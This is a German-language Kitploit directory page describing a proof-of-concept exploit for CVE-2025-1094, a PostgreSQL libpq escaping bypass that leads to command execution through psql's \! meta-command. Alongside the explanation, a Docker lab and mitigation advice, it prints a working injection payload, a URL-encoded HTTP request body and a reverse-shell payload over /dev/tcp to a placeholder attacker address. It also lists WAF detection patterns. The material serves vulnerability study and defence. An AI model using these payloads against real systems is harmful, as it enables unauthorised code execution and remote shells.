Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
POC-CVE-2025-1094 — Proof-of-Concept-Exploit für CVE-2025-1094, eine PostgreSQL-psql-SQL-Injection, die über libpq-Escaping-Bypass zu RCE führt. Enthält Docker-Umgebung, Exploit-Skript und Anleitung zur Schadensbegrenzung. | Kitploit
Tools/GitHubGitHub/trandonga3/poc-cve-2025-1094
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsLernen & BildungLabs & Praxis
GitHubtrandonga3/poc-cve-2025-1094

POC-CVE-2025-1094

Proof-of-Concept-Exploit für CVE-2025-1094, eine PostgreSQL-psql-SQL-Injection, die über libpq-Escaping-Bypass zu RCE führt. Enthält Docker-Umgebung, Exploit-Skript und Anleitung zur Schadensbegrenzung.

Repository anzeigen
vor 3 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

POC CVE-2025-1094: PostgreSQL psql SQL Injection

Proof of Concept für die schwerwiegende SQL-Injection-Schwachstelle im PostgreSQL-Client libpq und dem psql-Tool

📋 Inhaltsverzeichnis

  1. Einführung in die Schwachstelle
  2. Projektverzeichnisstruktur
  3. Analyse des Angriffs-Payloads
  4. Benutzerhandbuch
  5. Abhilfe und Prävention

1. Einführung in die Schwachstelle

Allgemeine Beschreibung

CVE-2025-1094 ist eine schwerwiegende Schwachstelle in der Client-Bibliothek libpq und dem Befehlszeilentool psql von PostgreSQL. Diese Schwachstelle ermöglicht es einem Angreifer, SQL-Injection durchzuführen und zu Remote Code Execution (RCE) zu eskalieren, selbst wenn die Anwendung standardmäßige String-Escape-Funktionen wie verwendet.

PQescapeLiteral

Grundursache

Der Fehler entsteht aus der Inkonsistenz bei der Verarbeitung ungültiger Multibyte-Bytefolgen (wie UTF-8) zwischen der Escape-Bibliothek und dem Parser von psql.

Zwei Hauptangriffsmechanismen:

1. Bypass des Escapings

  • Die Funktion PQescapeLiteral wird durch ein "neues Byte" (z. B. 0xC0) getäuscht
  • Sie betrachtet dieses Byte und das folgende einfache Anführungszeichen (') als ein einzelnes Zeichen
  • Führt dazu, dass dieses einfache Anführungszeichen nicht escaped wird

2. RCE über Meta-Befehle

  • Wenn diese fehlerhafte Zeichenfolge in das Werkzeug psql eingegeben wird
  • Kann der Angreifer die SQL-Anweisung verlassen und den psql-Systembefehl \! verwenden
  • Ermöglicht das Ausführen beliebiger Shell-Befehle auf dem Server

2. Projektverzeichnisstruktur

Das Projekt ist so organisiert, dass es eine reale Umgebung beim Aufruf der C-Funktion von libpq simuliert:

root@kitploit:~
.
├── docker-compose.yml       # Khởi động PostgreSQL + Web App
├── exolit.py               # Exploit script - Tấn công từ bên ngoài
├── README.md               # Tài liệu này
└── app/
    ├── app.py             # Flask Web App - Tiếp nhận input user
    ├── Dockerfile         # Build image chứa vulnerable code
    └── init_db.sql        # Khởi tạo database

Hauptkomponenten:

  • Flask Web App: Nimmt Benutzereingaben über den Endpunkt /search entgegen
  • libpq C Function: Verarbeitet SQL-Abfragen, prüft aber nicht auf ungültige Bytes
  • psql Meta-Befehle: Ermöglicht die Ausführung von Systembefehlen über \!
  • Subprocess Pipe: Die Anwendung leitet die SQL-Anweisung über den Eingabestream an psql weiter

3. Analyse des Angriffs-Payloads

Beispiel-Payload

root@kitploit:~
hax\xc0'; \! id; #

Dekodierung der einzelnen Komponenten:

KomponenteWertBedeutung
DateneingabehaxNormale gewöhnliche Daten
Neues Byte\xc0Ungültiges UTF-8-Byte – umgeht das Escaping
Anführungszeichen'Einfaches Anführungszeichen "unsichtbar" – durchbricht den Filter
SQL-Ende;Beendet die aktuelle SQL-Anweisung
Meta-Befehl\!Spezieller psql-Befehl – verlässt die Shell
Shell-BefehlidAuszuführender Befehl (kann durch Reverse Shell ersetzt werden)
Kommentar#SQL-Kommentar – deaktiviert überflüssige Teile

Quy trình thực thi:

root@kitploit:~
1. Input user: hax\xc0'; \! id; #
   ↓
2. PQescapeLiteral() không nhận ra \xc0 + ' là tấn công
   ↓
3. Chuỗi được gửi tới psql: hax\xc0'; \! id; #
   ↓
4. psql phân tích: đoạn \xc0 được coi là kết thúc chuỗi
   ↓
5. Meta-command \! được kích hoạt
   ↓
6. Lệnh shell id được thực thi với quyền của container

4. Benutzerhandbuch

Methode 1: Verwendung von Docker Compose (Empfohlen)

Schritt 1: Umgebung starten

root@kitploit:~
docker-compose up -d

Schritt 2: Warten, bis die Container gestartet sind

root@kitploit:~
docker-compose ps

Stellen Sie sicher, dass sowohl PostgreSQL als auch die Flask-App laufen.

Schritt 3: Exploit ausführen

root@kitploit:~
python exolit.py

Erwartetes Ergebnis: Zeigt die vom Server abgerufenen Informationen uid=0(root) an.

Schritt 4: Umgebung stoppen

root@kitploit:~
docker-compose down

Methode 2: Verwendung von Burp Suite (Manuell)

Senden einer HTTP-Anfrage

Senden Sie eine POST-Anfrage an /search mit folgendem Body:

root@kitploit:~
name=hax%c0%27;+\!+id+;+%23

URL-Kodierungsreferenz:

  • %c0 = \xc0 (ungültiges UTF-8-Byte)
  • %27 = ' (einfaches Anführungszeichen)
  • %23 = # (Hash-Zeichen)
  • + = Leerzeichen

Reverse-Shell-Payload:

root@kitploit:~
hax%c0%27;+\!+bash+-c+"bash+-i+>%26+/dev/tcp/<ip-hacker>/<port-hacker>+0>%261"+;+%23

Hinweis: Ersetzen Sie <ip-hacker> und <port-hacker> durch IP und Port des Angreiferrechners.


5. Abhilfe und Prävention

A. Update mit Patch

Aktualisieren Sie PostgreSQL auf die gepatchten Versionen:

VersionSichere Version
17.x≥ 17.3
16.x≥ 16.7
15.x≥ 15.11
14.x≥ 14.16
13.x≥ 13.19

B. Kodierungsprüfung

Überprüfen Sie stets, ob die Eingabedaten gültiges UTF-8 sind, bevor Sie sie verarbeiten:

root@kitploit:~
def validate_utf8(data):
    try:
        data.encode('utf-8').decode('utf-8')
        return True
    except UnicodeDecodeError:
        return False

C. Einschränkung der psql-CLI-Nutzung

Verwenden Sie in der Anwendungsprogrammierung die offiziellen Treiberbibliotheken:

root@kitploit:~
# ❌ KHÔNG: Sử dụng subprocess + psql
subprocess.run(['psql', '-c', user_input])

# ✅ CÓ: Sử dụng parameterized queries với psycopg2
import psycopg2
conn = psycopg2.connect("...")
cursor = conn.cursor()
cursor.execute("SELECT * FROM users WHERE name = %s", (user_input,))

D. Prinzip der geringsten Privilegien

  • Nicht die Web-App als root ausführen
  • Nicht die Datenbank als root ausführen
  • Verwenden Sie einen dedizierten Benutzer mit minimalen Rechten

E. WAF / IDS-Regeln

Richten Sie Regeln zur Erkennung von Mustern ein:

root@kitploit:~
- Byte 0xC0, 0xC1 trong request body
- Meta-command `\!` trong user input
- Chuỗi như `; \!` hoặc `' \!`

📚 Referenzen

  1. Link zur Quellcodedatei (vor dem Patch) Sie können die Datei src/interfaces/libpq/fe-exec.c in Version 17.2 (der noch anfälligen Version) einsehen:

    • GitHub-Link: PostgreSQL fe-exec.c unter Tag REL_17_2 (https://github.com/postgres/postgres/blob/REL_17_2/src/interfaces/libpq/fe-exec.c)
    • Wichtige Funktion: Suchen Sie die Funktion PQescapeStringInternal (normalerweise etwa ab Zeile 3400). Dies ist die "Kernfunktion", die sowohl von PQescapeLiteral als auch von PQescapeString aufgerufen wird.
  2. Sehen Sie sich den "Patch" an – am wichtigsten für White-Box-Analyse Um zu verstehen, warum der Fehler auftrat und wie er behoben wurde, sehen Sie sich am besten das Commit-Diff an (die Änderung zwischen fehlerhafter und gepatchter Version).

    • Offizieller Commit-Link: Fix escaping of invalid multibyte characters in libpq (https://github.com/postgres/postgres/commit/8276f5055b1111005a8ce6f15792015e71f5307b)
  3. Schwachstellenanalyse: https://www.rapid7.com/blog/post/2025/02/13/cve-2025-1094-postgresql-psql-sql-injection-fixed/

Tool herunterladen